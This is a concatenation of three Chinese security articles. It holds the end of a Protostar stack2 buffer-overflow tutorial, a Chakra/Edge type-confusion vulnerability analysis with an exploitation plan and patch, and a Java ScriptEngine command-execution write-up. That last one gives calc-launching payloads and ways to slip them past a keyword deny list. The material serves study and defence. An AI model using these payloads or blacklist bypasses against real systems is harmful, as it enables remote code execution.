如上所示，这次我们不能直接给变量指定值，而必须通过环境变量来完成。从某些方面来说，这实际上是一个非常好的例子，因为它展示了创造性地利用漏洞的重要性，毕竟，我们每次都面临的情形不可能如出一辙，所以，必须根据具体问题具体分析。
就本例来说，我们可以应用常规的漏洞利用方法，将该值存放到环境变量“GREENIE”中。
但是等一下，那什么是环境变量呢？
**环境变量**
* * *
简单地说，环境变量也是变量，用来存储系统用到的一些东西的值，此外，服务也可以访问这些变量。为了帮助读者理解这个概念，下面举例说明。
下面，我们来看看环境变量BASH：
我们可以看到，这个环境变量的值是`/bin/bash`。
所以，如果我想运行bash，直接在终端中键入bash命令即可，而不用输入冗长的./bin/bash命令，因为，系统会调用变量BASH，并找到相应的路径。
不过，系统并不会为每个二进制文件都存储一个变量，所以，专门提供了一个叫做PATH的环境变量，其中保存了所有可能含有二进制文件的目录，所以，当我们键入命令，如python时，它会在这些目录中进行搜索，然后运行找到的python。
好了，这样解释的话，大家一定能够理解了。当然，理解环境变量对于这个挑战来说不是必要的，但是，如果能够理解这个概念的话，对大家也是非常有用的。
关于环境变量的更多信息，请参阅[这里](https://en.wikipedia.org/wiki/Environment_variable "这里")。
现在，让我们执行stack2程序。
它提示我们设置环境变量GREENIE。
不过，系统中并没有名为Greenie的环境变量，所以，我们需要自己创建它。之后，给它赋值，具体为：前面是64个字符，后面跟上0x0D0A0D0A。
这一次，我们就不能像Stack1那样来使用ASCII中的值了，因为`0x0d`是一个回车符，即`\r`，而`0x0a`是一个换行符`\n`，所以，我们不能直接键入这些值，而需要使用相应的十六进制值，然后利用Python完成相应的转换工作。
GREENIE = `python -c "print ('A' * 64 + '\x0a\x0d\x0a\x0d')"`
如图所示，上面只有64个字符A，这是因为看不到回车符和换行符。
现在，我们需要将其导出到环境变量列表中，并再次执行stack2程序。
export GREENIE
./stack2
搞定！
希望本文对初学者能有所帮助，并祝大家阅读愉快！ | 社区文章 |
作者：bo13oy of Qihoo 360 Vulcan Team
作者博客：[360 Technology Security
Blog](http://blogs.360.cn/post/Microsoft%20Edge%20Chakra%20OP_NewScObjArray%20Type%20Confusion%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8.html
"360 Technology Security Blog")
### 1\. 漏洞描述
漏洞编号：无
影响版本：Chakra <= 1.10.0
此漏洞是我去年11月份发现的，在今年的七月微软的发布版本中被修掉。该漏洞成因在于：Interpreter在执行`OP_NewScObjArray`操作码指令时处理不当，在`OP_NewScObjArray_Impl`函数内有一个结构体之间的强制转换，导致了类型混淆，成功利用该漏洞可导致远程代码执行。
### 2\. 测试环境
Windows 10 x64 + Microsoft Edge 42.17074.1002.0
### 3\. 漏洞分析
#### 3.1 漏洞基本信息
开启页堆保护后`(gflags.exe -I MicrosoftEdgeCP.exe +hpa +ust)`，用Microsoft
Edge浏览器加载poc.html时的异常信息如下：
0:017> r
rax=00000033438faf18 rbx=00000000000fefa0 rcx=000001aee1be3020
rdx=00007ff88f40c698 rsi=000001a6c2bcd960 rdi=000001aee1be3020
rip=00007ff88ee5d224 rsp=00000033438faea0 rbp=000000000000fefa
r8=000001aee1ce2050 r9=00007ff88f40c698 r10=000001a6c2b38568
r11=000001aee33001b0 r12=000001aee1be3020 r13=000001aec87103c0
r14=000001aee1be3b29 r15=00000000000009e9
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
chakra!Js::DynamicProfileInfo::RecordCallSiteInfo+0x54:
00007ff88ee5d224 450fb74802 movzx r9d,word ptr [r8+2] ds:000001aee1ce2052=????
0:017> kb
RetAddr : Args to Child : Call Site
00 00007ff88ed5ca46 : 000001aee1be3020 000001aee33001b0 000001a6c2b3fefa 00007ff88f40c698 : chakra!Js::DynamicProfileInfo::RecordCallSiteInfo+0x54
01 00007ff88ed5b061 : 000001aec8708580 00000033438faff0 000001aec87103c0 000001a6c2b3fefa : chakra!Js::ProfilingHelpers::ProfiledNewScObjArray+0xa6
02 00007ff88efe8518 : 00000033438fb280 000001aee3af7c85 00000033438fb0b0 000001aee3af7c84 : chakra!Js::InterpreterStackFrame::OP_NewScObjArray_Impl<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<1> >,0>+0x81
03 00007ff88ee25e1b : 00000033438fb280 000001aee3af7c84 00000033438fb0b0 0000000000000000 : chakra!Windows::Data::Text::IUnicodeCharactersStatics::vcall'{144}'+0x1f618
04 00007ff88ee25c55 : 00000033438fb280 0000000000000000 0000000000000001 00007ff88ed5c496 : chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x9b
05 00007ff88ee24704 : 00000033438fb280 00000033438fb280 00000033438fb280 0000000000000001 : chakra!Js::InterpreterStackFrame::Process+0x175
06 00007ff88ee26cdb : 00000033438fb280 000001aee3af7c68 000001aee3af7c68 0000000000000000 : chakra!Js::InterpreterStackFrame::OP_TryCatch+0x64
07 00007ff88ee25c55 : 00000033438fb280 0000000000000000 0000000000000000 0000000000000000 : chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0xf5b
08 00007ff88ee1913d : 00000033438fb280 00000033438fb280 00000033438fbc80 000001a6c2b28760 : chakra!Js::InterpreterStackFrame::Process+0x175
09 00007ff88ee189de : 000001aec87103c0 00000033438fbe60 000001aee1c70fba 00000033438fbe78 : chakra!Js::InterpreterStackFrame::InterpreterHelper+0x49d
0a 000001aee1c70fba : 00000033438fbeb0 0000000000000001 00000033438fbea0 00000033438fc288 : chakra!Js::InterpreterStackFrame::InterpreterThunk+0x4e
....
从上面的栈帧可知是调用RecordCallSiteInfo函数时内部发生了访问异常。
#### 3.2 漏洞成因
##### 3.2.1 pc对应的代码
源代码如下：
void DynamicProfileInfo::RecordCallSiteInfo(FunctionBody* functionBody, ProfileId callSiteId, FunctionInfo* calleeFunctionInfo, JavascriptFunction* calleeFunction, uint actualArgCount, bool isConstructorCall, InlineCacheIndex ldFldInlineCacheId)
{
...
if (!callSiteInfo[callSiteId].isPolymorphic) //out of bound read
{
Js::SourceId oldSourceId = callSiteInfo[callSiteId].u.functionData.sourceId;
if (oldSourceId == InvalidSourceId)
{
return;
}
...
反汇编代码如下：
void **__fastcall Js::DynamicProfileInfo::RecordCallSiteInfo(Js::DynamicProfileInfo *this, struct Js::FunctionBody *a2, unsigned __int16 a3, struct Js::FunctionInfo *a4, struct Js::JavascriptFunction *a5, unsigned __int16 a6, bool a7, unsigned int a8)
{
...
unsigned __int16 v12; // bp@1
signed __int64 v13; // rbx@3
signed __int64 v14; // r8@3
__int16 v15; // r9@3
...
v9 = a2;
v10 = this;
v11 = a4;
v12 = a3; // a3 <=> callSiteId
...
v13 =0x10 * a3;
v14 = v13 + *((_QWORD *)this + 1);//<=>callSiteInfo
v15 = *(_WORD *)(v14 + 2);//out of bound read
if ( v15 >= 0 )
{
v16 = *(_DWORD *)(v14 + 8);
LODWORD(v17) = -4;
if ( v16 == -4 )
return result;
...
根据 3.1 步骤的漏洞异常信息时，`rbp=0x000000000000fefa`，及其上面的源代码与汇编代码的对比发现，`callSiteId = a3
= v12 = bp = 0xfefa`。
0:017> dq rcx + 0x8
000001aee1be3028 000001aee1be30b0 0000000000000000
000001aee1be3038 0000000000000000 0000000000000000
000001aee1be3048 0000000000000000 0000000000000000
000001aee1be3058 000001aee1be3140 0000000000000000
000001aee1be3068 000001aee1bf313f 0000000000000000
000001aee1be3078 0000000000000000 0000000000000000
000001aee1be3088 0000000000000000 0000000000000009
000001aee1be3098 0000000000000000 ffffffff00000000
此时:
callSiteInfo = * ((QWORD * )this + 1) => poi(rcx + 0x8) = 0x000001aee1be30b0
r8 = (callSiteInfo + callSiteId * 0x10) = 0x000001aee1be30b0 + 0xfefa * 0x10 = 0x000001aee1ce2050
0:017> dd 000001aee1be30b0
000001aee1be30b0 00000009 00000000 ffffffff 00000000
000001aee1be30c0 00000009 00000000 ffffffff 00000000
000001aee1be30d0 00000009 00000000 ffffffff 00000000
000001aee1be30e0 00000009 00000000 ffffffff 00000000
000001aee1be30f0 00000009 00000000 ffffffff 00000000
000001aee1be3100 00000009 00000000 ffffffff 00000000
000001aee1be3110 00000009 00000000 ffffffff 00000000
000001aee1be3120 00000009 00000000 ffffffff 00000000
通过dd 0x000001aee1be30b0 命令查看callSiteInfo内容是可以访问的，初步判定崩溃是因callSiteId越界导致的内存越界读。
##### 3.2.2 创建callSiteInfo对象的代码
源代码如下：
DynamicProfileInfo* DynamicProfileInfo::New(Recycler* recycler, FunctionBody* functionBody, bool persistsAcrossScriptContexts)
{
size_t totalAlloc = 0;
Allocation batch[] =
{
{ (uint)offsetof(DynamicProfileInfo, callSiteInfo), functionBody->GetProfiledCallSiteCount() * sizeof(CallSiteInfo) },// 计算分配callSiteInfo对象的内存大小
...
};
for (uint i = 0; i < _countof(batch); i++)
{
totalAlloc += batch[i].size;//数组元素内存分配之和
}
info = RecyclerNewPlusZ(recycler, totalAlloc, DynamicProfileInfo, functionBody);// 总的内存分配长度为：totalAlloc + sizeof(DynamicProfileInfo)
BYTE* current = (BYTE*)info + sizeof(DynamicProfileInfo);
}
}
for (uint i = 0; i < _countof(batch); i++)
{
if (batch[i].size > 0)
{
Field(BYTE*)* field = (Field(BYTE*)*)(((BYTE*)info + batch[i].offset));
*field = current;
current += batch[i].size;
}
}
info->Initialize(functionBody);
return info;
反汇编代码如下：
char *__fastcall Js::DynamicProfileInfo::New(struct Memory::Recycler *a1, struct Js::FunctionBody *a2)
{
...
size_t v26; // rdx@16
char *v27; // rbx@18
...
else
{
v26 = v25 + 144;
if ( v25 + 144 < v25 )
v26 = -1i64;
v27 = Memory::Recycler::AllocLeafZero(v12, v26);//v26 = rdx => totalAlloc + sizeof(DynamicProfileInfo) = 内存分配长度
}
*((_WORD *)v27 + 56) = ValueType::Uninitialized;
v27[114] = 0;
v27[136] = 1;
LABEL_20:
v28 = (signed __int64)(v27 + 144);
v29 = 12i64;
v30 = &v38;
do
{
v31 = *((_QWORD *)v30 + 1);
if ( v31 )
{
*(_QWORD *)&v27[*v30] = v28;
v28 += v31;
}
v30 += 4;
--v29;
}
while ( v29 );
Js::DynamicProfileInfo::Initialize((Js::DynamicProfileInfo *)v27, (struct Js::FunctionBody *const )retaddr);
return v27;
}
用命令 ba chakra!Js::DynamicProfileInfo::New
在DynamicProfileInfo::New函数位置打个断点，动态调试之后，可得如下信息：
0:017> r
rax=00000000000100e7 rbx=0000015bce310348 rcx=00000153adba97b0
rdx=0000000000010177 rsi=0000000000000000 rdi=0000015bce3101b0
rip=00007ff88ef9a7c3 rsp=0000004016ffba50 rbp=0000004016ffbb50
r8=0000000000000004 r9=0000000000000001 r10=00000153adba97b0
r11=0000004016ffbc70 r12=0000004016ffc0a8 r13=0000000000000001
r14=0000015bb37203c0 r15=0000000000000001
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
chakra!Js::DynamicProfileInfo::New+0x213:
00007ff88ef9a7c3 e8c830f0ff call chakra!Memory::Recycler::AllocLeafZero (00007ff8`8ee9d890)
此时可知:
(v26 = rdx = totalAlloc + sizeof(DynamicProfileInfo) = 0x10177) < (0xfefa0 = callSiteId * 0x10 = 0xfefa * 0x10)，
内存分配长度为 0x10177 远远小于 使用时的 0xfefa0，确定漏洞是因callSiteId越界导致的内存越界读。
##### 3.2.3 追溯callSiteId参数的来源
根据 3.1 步骤的 kb
栈回溯命令可知，callSiteId是上层调用`OP_NewScObjArray_Impl`函数进来的，`OP_NewScObjArray_Impl`的源代码如下：
template <class T, bool Profiled>
void InterpreterStackFrame::OP_NewScObjArray_Impl(const unaligned T* playout, const Js::AuxArray<uint32> *spreadIndices)
{
// Always profile this operation when auto-profiling so that array type changes are tracked
if (!Profiled && !isAutoProfiling)
Assert(!Profiled);
{
OP_NewScObject_Impl<T, Profiled, false>(playout, Js::Constants::NoInlineCacheIndex, spreadIndices);
return;
}
Arguments args(CallInfo(CallFlags_New, playout->ArgCount), m_outParams);
uint32 spreadSize = 0;
if (spreadIndices != nullptr){...}
else
{
SetReg(
(RegSlot)playout->Return,
ProfilingHelpers::ProfiledNewScObjArray(
GetReg(playout->Function),
args,
function,
static_cast<const unaligned OpLayoutDynamicProfile2<T> *>(playout)->profileId,//profileId <==> callSiteId
static_cast<const unaligned OpLayoutDynamicProfile2<T> *>(playout)->profileId2));
}
PopOut(playout->ArgCount);
}
根据上面的红色部分，我们可知，callSiteId来自playout参数的profileId的成员变量。
##### 3.2.4 追溯playout参数的来源
根据 3.1 步骤的 kb
栈回溯命令可知，playout是上层调用ProcessUnprofiled函数进来的，ProcessUnprofiled的源代码调用栈追溯路径如下：
InterpreterLoop.inl:
...
case INTERPRETER_OPCODE::MediumLayoutPrefix:
{
Var yieldValue = nullptr;
ip = PROCESS_OPCODE_FN_NAME(MediumLayoutPrefix)(ip, yieldValue);==>
CHECK_YIELD_VALUE();
CHECK_SWITCH_PROFILE_MODE();
break;
}
...
const byte* Js::InterpreterStackFrame::PROCESS_OPCODE_FN_NAME(MediumLayoutPrefix)(const byte* ip, Var& yieldValue)
{
INTERPRETER_OPCODE op = READ_OP(ip);
switch (op)
{
#ifndef INTERPRETER_ASMJS
case INTERPRETER_OPCODE::Yield:
m_reader.Reg2_Medium(ip);
yieldValue = GetReg(GetFunctionBody()->GetYieldRegister());
break;
#endif
#define DEF2_WMS(x, op, func) PROCESS_##x##_COMMON(op, func, _Medium)
#define DEF3_WMS(x, op, func, y) PROCESS_##x##_COMMON(op, func, y, _Medium)==>
#define DEF4_WMS(x, op, func, y, t) PROCESS_##x##_COMMON(op, func, y, _Medium, t)
#include "InterpreterHandler.inl"
default:
// Help the C++ optimizer by declaring that the cases we
// have above are sufficient
AssertMsg(false, "dispatch to bad opcode");
__assume(false);
}
return ip;
}
InterpreterHandler.inl:
...
DEF3_WMS(CALL, NewScObject, OP_NewScObject, CallI)
DEF3_WMS(CUSTOM_L_R0, NewScObjectNoCtorFull, OP_NewScObjectNoCtorFull, Reg2)
EXDEF2_WMS(A1toA1Mem, LdCustomSpreadIteratorList, JavascriptOperators::OP_LdCustomSpreadIteratorList)
EXDEF3_WMS(CALL, NewScObjectSpread, OP_NewScObjectSpread, CallIExtended)
DEF3_WMS(CALL, NewScObjArray, OP_NewScObjArray, CallI)==>
...
InterpreterStackFrame.cpp:
#define PROCESS_CALL_COMMON(name, func, layout, suffix) \
case OpCode::name: \
{ \
PROCESS_READ_LAYOUT(name, layout, suffix); \\==>
func(playout); \
break; \
}
...
#define PROCESS_READ_LAYOUT(name, layout, suffix) \
CompileAssert(OpCodeInfo<OpCode::name>::Layout == OpLayoutType::layout); \
const unaligned OpLayout##layout##suffix * playout = m_reader.layout##suffix(ip); \\==>
Assert((playout != nullptr) == (Js::OpLayoutType::##layout != Js::OpLayoutType::Empty)); // Make sure playout is used
...
LayoutTypes.h:
...
LAYOUT_TYPE (StartCall)
LAYOUT_TYPE_PROFILED2_WMS (CallI)==>
LAYOUT_TYPE_PROFILED_WMS (CallIFlags)
...
OpLayouts.h:
...
#define LAYOUT_TYPE_WMS(layout) \
typedef OpLayoutT_##layout OpLayout##layout##_Large; \
typedef OpLayoutT_##layout OpLayout##layout##_Medium; \\==>
typedef OpLayoutT_##layout OpLayout##layout##_Small;
...
template <typename SizePolicy>
struct OpLayoutT_CallI // Return = Function(ArgCount)
{
typename SizePolicy::ArgSlotType ArgCount;
typename SizePolicy::RegSlotSType Return;
typename SizePolicy::RegSlotType Function;
};
...
ByteCodeReader.cpp:
template<typename LayoutType>
const unaligned LayoutType * ByteCodeReader::GetLayout(const byte*& ip)
{
size_t layoutSize = sizeof(LayoutType);//LayoutType=Js::OpLayoutT_CallI<Js::LayoutSizePolicy<MediumLayout>> => layoutSize = 0x5
AssertMsg((layoutSize > 0) && (layoutSize < 100), "Ensure valid layout size");
const byte * layoutData = ip;
ip += layoutSize;
m_currentLocation = ip;
Assert(m_currentLocation <= m_endLocation);
return reinterpret_cast(layoutData);
}
根据上面的源代码追溯和动态调试，可得playout参数的类型为OpLayoutT_CallI结构体，指向的是bytecode的内容，长度为0x5个字节。OpLayoutT_CallI内存结构如下：
name: |ArgSlotType|RegSlotSType|RegSlotType|
size: | 1 byte | 2 byte | 2 byte |
value: | c5 | fe 00 | fe 00 |
此时再看`OP_NewScObjArray_Impl`函数获取callSiteId参数的代码如下：
static_cast<const unaligned OpLayoutDynamicProfile2 *>(playout)->profileId,//profileId <==> callSiteId
发现playout参数被强制转换成OpLayoutDynamicProfile2结构体，并提取其成员变量profileId当成callSiteId向下传递了，OpLayoutDynamicProfile2的结构体代码如下：
OpLayouts.h:
...
typedef uint16 ProfileId;
...
// Dynamic profile layout wrapper
template <typename LayoutType>
struct OpLayoutDynamicProfile : public LayoutType
{
ProfileId profileId;
};
template <typename LayoutType>
struct OpLayoutDynamicProfile2 : public LayoutType
{
ProfileId profileId;
ProfileId profileId2;
};
...
该结构体的长度为sizeof(OpLayoutDynamicProfile2) = 0x9个字节, OpLayoutDynamicProfile2
内存结构如下：
name: |ArgSlotType|RegSlotSType|RegSlotType|profileId|profileId2|
size: | 1 byte | 2 byte | 2 byte | 2 byte | 2 byte |
value: | c5 | fe 00 | fe 00 | fa fe | e9 09 |
此时可知OpLayoutT_Call类型被混淆成OpLayoutDynamicProfile2使用，callSiteId = profileId =
0xfefa参数变量是由于在对象混淆情况下，越界读了后面2个字节的bytecode指令操作码，callSiteId参数被传到RecordCallSiteInfo函数之后，产生了越界读异常现象。
### 4\. 漏洞利用
1)
首先跳到访问异常点附近看看，RecordCallSiteInfo在函数访问异常点之后，还有些什么样的操作，重点关注程序后续流程中有没有写的操作。RecordCallSiteInfo函数关键点代码如下：
if (!callSiteInfo[callSiteId].isPolymorphic) // out of bound read
{
...
if (doInline && IsPolymorphicCallSite(functionId, sourceId, oldFunctionId, oldSourceId))
{
CreatePolymorphicDynamicProfileCallSiteInfo(functionBody, callSiteId, functionId, oldFunctionId, sourceId, oldSourceId);==>
}
...
void DynamicProfileInfo::CreatePolymorphicDynamicProfileCallSiteInfo(FunctionBody *funcBody, ProfileId callSiteId, Js::LocalFunctionId functionId, Js::LocalFunctionId oldFunctionId, Js::SourceId sourceId, Js::SourceId oldSourceId)
{
PolymorphicCallSiteInfo *localPolyCallSiteInfo = RecyclerNewStructZ(funcBody->GetScriptContext()->GetRecycler(), PolymorphicCallSiteInfo);
Assert(maxPolymorphicInliningSize >= 2);
localPolyCallSiteInfo->functionIds[0] = oldFunctionId;
localPolyCallSiteInfo->functionIds[1] = functionId;
localPolyCallSiteInfo->sourceIds[0] = oldSourceId;
localPolyCallSiteInfo->sourceIds[1] = sourceId;
localPolyCallSiteInfo->next = funcBody->GetPolymorphicCallSiteInfoHead();
for (int i = 2; i < maxPolymorphicInliningSize; i++)
{
localPolyCallSiteInfo->functionIds[i] = CallSiteNoInfo;
}
callSiteInfo[callSiteId].isPolymorphic = true;//out of bound write boolean
callSiteInfo[callSiteId].u.polymorphicCallSiteInfo = localPolyCallSiteInfo;//out of bound write pointer
funcBody->SetPolymorphicCallSiteInfoHead(localPolyCallSiteInfo);
}
...
假设在完全可以控制堆喷数据的情况下，那么上面蓝色部分的判断可以过掉，在随后的红色部分就有写的操作。
2) 漏洞分配的内存长度为0x10177，越界读的内存偏移为0xfefa0 = callSiteId * 0x10 = 0xfefa *
0x10，由于callSiteId = 0xfefa是通过越界读2个字节的bytecode指令操作码得到的，所以这个越界读的偏移不是任意可以控制的。
3) Microsoft Edge 堆隔离，及其内存分配机制。Edge的堆分为：
* 小堆 (0 < size <= 0x300)：每隔0x10为一个堆桶（步长为0x10),对齐方式：0x10 实现方式：size => 堆桶的 map 映射。 例如：0x10、0x20、0x30... 一共(0x300 / 0x10 = 0x30个堆桶）
* 中堆 (0x300 < size <= 0x2000)：每隔0x100为一个堆桶（步长为0x100),对齐方式：0x100 实现方式：size => 堆桶的 map 映射。例如：0x400、0x500、0x600...一共(0x2000-0x300 / 0x100 = 0x1D个堆桶）
* 大堆 (size > 0x2000)：对齐方式：0x10 实现方式：堆桶之间的链表串连。
由于 0x10177 > 0x2000 的内存大小在大堆范畴，所以由大堆来分配内存。
综合
1），2），3），及其深入分析之后，要能够精准控制内存的堆喷，越界写一些内存关键数据（如：长度、数据存储指针等），选用array进行堆喷可以满足要求，本利用中选择越界修改array的长度来实现漏洞利用。堆喷之后的内存结构如下：
name: | vulnmem | fill_mem | pre_trigger_arr | trigger_arr | fill_leak_arr |
desc: | 0x10180 | spray_mem | int array | int array | object array |
完整的漏洞利用步骤如下：
a. 触发漏洞之后，pre_trigger_arr的长度被修改为一个指针，此时pre_trigger_arr可越界写，但不能越界读。
b. 通过pre_trigger_arr越界写，修改trigger_arr的长度，此时trigger_arr可越界读写。
c. 通过trigger_arr越界读，可泄露fill_leak_arr中的任意一个元素对象的地址。
d.
通过pre_trigger_arr越界写，修改trigger_arr的数据存储指针为DataView对象地址偏移，把DataView数据头伪造成trigger_arr的元素数据。
e. 通过trigger_arr正常的写，修改DataView的arrayBuffer的数据指针。
f. 通过DataView正常读取，可达到任意地址读写的目的。
### 5\. 漏洞演示
a. 通过任意地址读写，泄露chakra.dll的基地址。 b.
通过调用GetProcAddress函数，泄露msvcrt.dll中malloc函数的地址。 c.
通过调用GetProcAddress函数，泄露kernel32.dll中WinExec函数的地址。
### 6\. 漏洞补丁
补丁前：
template <class T, bool Profiled>
void InterpreterStackFrame::OP_NewScObjArray_Impl(const unaligned T* playout, const Js::AuxArray<uint32> *spreadIndices)
{
// Always profile this operation when auto-profiling so that array type changes are tracked
if (!Profiled && !isAutoProfiling) isAutoProfiling 变量出的问题，导致该条件判断为false
Assert(!Profiled);
{
OP_NewScObject_Impl(playout, Js::Constants::NoInlineCacheIndex, spreadIndices);
return;
}
Arguments args(CallInfo(CallFlags_New, playout->ArgCount), m_outParams);
uint32 spreadSize = 0;
if (spreadIndices != nullptr){...}
else
{
SetReg(
(RegSlot)playout->Return,
ProfilingHelpers::ProfiledNewScObjArray(
GetReg(playout->Function),
args,
function,
static_cast<const unaligned OpLayoutDynamicProfile2<T> *>(playout)->profileId,//profileId <==> callSiteId
static_cast<const unaligned OpLayoutDynamicProfile2<T> *>(playout)->profileId2));
}
PopOut(playout->ArgCount);
}
补丁后：
template <class T, bool Profiled> void OP_NewScObjArray_Impl(const unaligned T* playout, const Js::AuxArray<uint32> *spreadIndices = nullptr)
{
OP_NewScObject_Impl<T, Profiled, false>(playout, Js::Constants::NoInlineCacheIndex, spreadIndices);==>
}
template <class T, bool Profiled, bool ICIndex>
void InterpreterStackFrame::OP_NewScObject_Impl(const unaligned T* playout, InlineCacheIndex inlineCacheIndex, const Js::AuxArray *spreadIndices)
{
if (ICIndex)
{
Assert(inlineCacheIndex != Js::Constants::NoInlineCacheIndex);
}
Var newVarInstance =
#if ENABLE_PROFILE_INFO
Profiled ? 补丁前的isAutoProfiling 条件判断被干掉了
ProfiledNewScObject_Helper(
GetReg(playout->Function),
playout->ArgCount,
static_cast<const unaligned OpLayoutDynamicProfile<T> *>(playout)->profileId,
inlineCacheIndex,
spreadIndices) :
#endif
NewScObject_Helper(GetReg(playout->Function), playout->ArgCount, spreadIndices);
SetReg((RegSlot)playout->Return, newVarInstance);
}
从上面补丁前后的对比可知，补丁后`OP_NewScObjArray_Impl`函数代码中有问题的代码被优化掉了。
### 7\. exp
* [exp地址](https://github.com/bo13oy/ChakraCore/tree/master/%231 "exp地址")
### 8\. 参考链接
* [ChakraCore v1.8.0](https://github.com/Microsoft/ChakraCore/releases/tag/v1.8.0 "ChakraCore v1.8.0")
* [pwnjs](https://github.com/theori-io/pwnjs "pwnjs")
* * * | 社区文章 |
# java中js命令执行的攻与防
### 起因
前几天做安全测试，发现了一个可以执行js代码的地方，然后通过代码审计发现存在命令执行。作为甲方公司安全人员，如何攻击和修复都需要考虑。一边思考着让开发如何修，一边想着如何绕过修好的黑名单，于是一场左右手的博弈就这样悄无声息地开始了。
### 过程
#### 0x01 漏洞发现
当时通过代码审计，发现执行js之前会有一个简单的正则校验，主要检查是否存在字段： **function mainOutput(){}**
。如果传入的字符串符合正则就会调用 `javax.script.ScriptEngine` 类来解析js并执行js代码。
//正则表达式
String JAVASCRIPT_MAIN="[\\s\\S]*"+"function"+"\\s+"+"mainOutput"+"[\\s\\S]*";
//传入的字符串
String test="print('hello word!!');function mainOutput() {}";
//代码执行的地方
if (Pattern.matches(JAVASCRIPT_MAIN,test)){
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
engine.eval(test);
}
因为scriptEngine的相关特性，可以执行java代码，所以当我们把test替换为如下代码，就可以命令执行了。
String test="var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")};";
#### 0x02 漏洞修复讨论
至此，我已经发现了这个比较简单的命令执行漏洞，然后我写了报告，觉得已经完事了。但是，事情不是这么发展的。因为解决这个问题的根本方法是底层做沙箱，或者上js沙箱。但是底层沙箱和js沙箱都做不到，一个过于复杂另外一个过于影响效率(
**效率降低了10倍，这是一个产品不能接受的** )。
所以我们就需要找到一个其他方法了，新的思路就是黑名单或者白名单。为了灵活性(灵活性是安全的最大敌人)，为了客户方便，不可能采取白名单，所以只能使用黑名单了。
#### 0x03 第一次博弈
这是开发第一次发给我的代码，可以看出来，使用黑名单对一些关键字做了一些过滤。这些关键字都来自于阿里云的java沙箱整合的关键字。链接地址：
<https://github.com/AlibabaCloudDocs/odps/blob/master/cn.zh-CN/%E7%94%A8%E6%88%B7%E6%8C%87%E5%8D%97/Java%E6%B2%99%E7%AE%B1.md>
class KeywordCheckUtils {
private static final Set<String> blacklist = Sets.newHashSet(
// Java 全限定类名
"java.io.File", "java.io.RandomAccessFile", "java.io.FileInputStream", "java.io.FileOutputStream",
"java.lang.Class", "java.lang.ClassLoader", "java.lang.Runtime", "java.lang.System", "System.getProperty",
"java.lang.Thread", "java.lang.ThreadGroup", "java.lang.reflect.AccessibleObject", "java.net.InetAddress",
"java.net.DatagramSocket", "java.net.DatagramSocket", "java.net.Socket", "java.net.ServerSocket",
"java.net.MulticastSocket", "java.net.MulticastSocket", "java.net.URL", "java.net.HttpURLConnection",
"java.security.AccessControlContext",
// JavaScript 方法
"eval", "new function");
public KeywordCheckUtils() {
// 空构造方法
}
public static void checkInsecureKeyword(String code) throws Exception {
Set<String> insecure =
blacklist.stream().filter(s -> StringUtils.containsIgnoreCase(code, s)).collect(Collectors.toSet());
if (!CollectionUtils.isEmpty(insecure)) {
throw new Exception("输入字符串不是安全的");
}else{
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
engine.eval(code);
}
}
}
我们可以清楚地看到。`Runtime`类被禁用了，有没有一些没有被禁用的函数呢，有没有一些可能绕过的思路呢？
我的第二次攻击就开始了。
我找到了新的可以使用的函数 **ProcessBuilder** 和 **使用注释绕过** 的方法。
//黑名单中没有注释的类
String test="var a = mainOutput(); function mainOutput() { var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();return true;};";
//在点两边可以添加注释绕过过滤
String test="var a = mainOutput(); function mainOutput() { var x=java.lang./****/Runtime.getRuntime().exec(\"calc\");};";
#### 0x04 第二次博弈
过了一会研发给我发了新的检测类,可以看到它主要做了两个处理，过滤了注释和多个空格换一个。
import com.google.common.collect.Sets;
import java.util.Set;
import java.util.stream.Collectors;
import org.apache.commons.lang3.StringUtils;
import org.springframework.util.CollectionUtils;
public class KeywordCheckUtils {
private static final Set<String> blacklist = Sets.newHashSet(
// Java 全限定类名
"java.io.File", "java.io.RandomAccessFile", "java.io.FileInputStream", "java.io.FileOutputStream",
"java.lang.Class", "java.lang.ClassLoader", "java.lang.Runtime", "java.lang.System", "System.getProperty",
"java.lang.Thread", "java.lang.ThreadGroup", "java.lang.reflect.AccessibleObject", "java.net.InetAddress",
"java.net.DatagramSocket", "java.net.DatagramSocket", "java.net.Socket", "java.net.ServerSocket",
"java.net.MulticastSocket", "java.net.MulticastSocket", "java.net.URL", "java.net.HttpURLConnection",
"java.security.AccessControlContext", "java.lang.ProcessBuilder",
// JavaScript 方法
"eval","new function");
private KeywordCheckUtils() {
// 空构造方法
}
public static void checkInsecureKeyword(String code) {
// 去除注释
String removeComment = StringUtils.replacePattern(code, "(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*)", "");
// 多个空格替换为一个
String finalCode = StringUtils.replacePattern(removeComment, "\\s+", " ");
Set<String> insecure = blacklist.stream().filter(s -> StringUtils.containsIgnoreCase(finalCode, s))
.collect(Collectors.toSet());
if (!CollectionUtils.isEmpty(insecure)) {
throw new Exception("输入字符串不是安全的");
}
}
}
为什么要这么做呢？因为黑名单中有一个new function。为了检测new
function，所以他多个空格换成一个空格。到这里我就突然想到了空格，既然注释可以绕过，空格是不是也可以绕过呢。然后就绕过了。
String test="var a = mainOutput(); function mainOutput() { var x=java.lang. Runtime.getRuntime().exec(\"calc\");};";
#### 0x05最后的修复代码
因为其他内容未做改变，所以只贴出改变的内容。最后的过滤呢，先过滤了注释，然后在去匹配过滤空格和剩下一个空格的。
这一步的操作就是为了匹配new function。
// 去除注释
String removeComment = StringUtils.replacePattern(code, "(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*)", "");
// 去除空格
String removeWhitespace = StringUtils.replacePattern(removeComment, "\\s+", "");
// 多个空格替换为一个
String oneWhiteSpace = StringUtils.replacePattern(removeComment, "\\s+", " ");
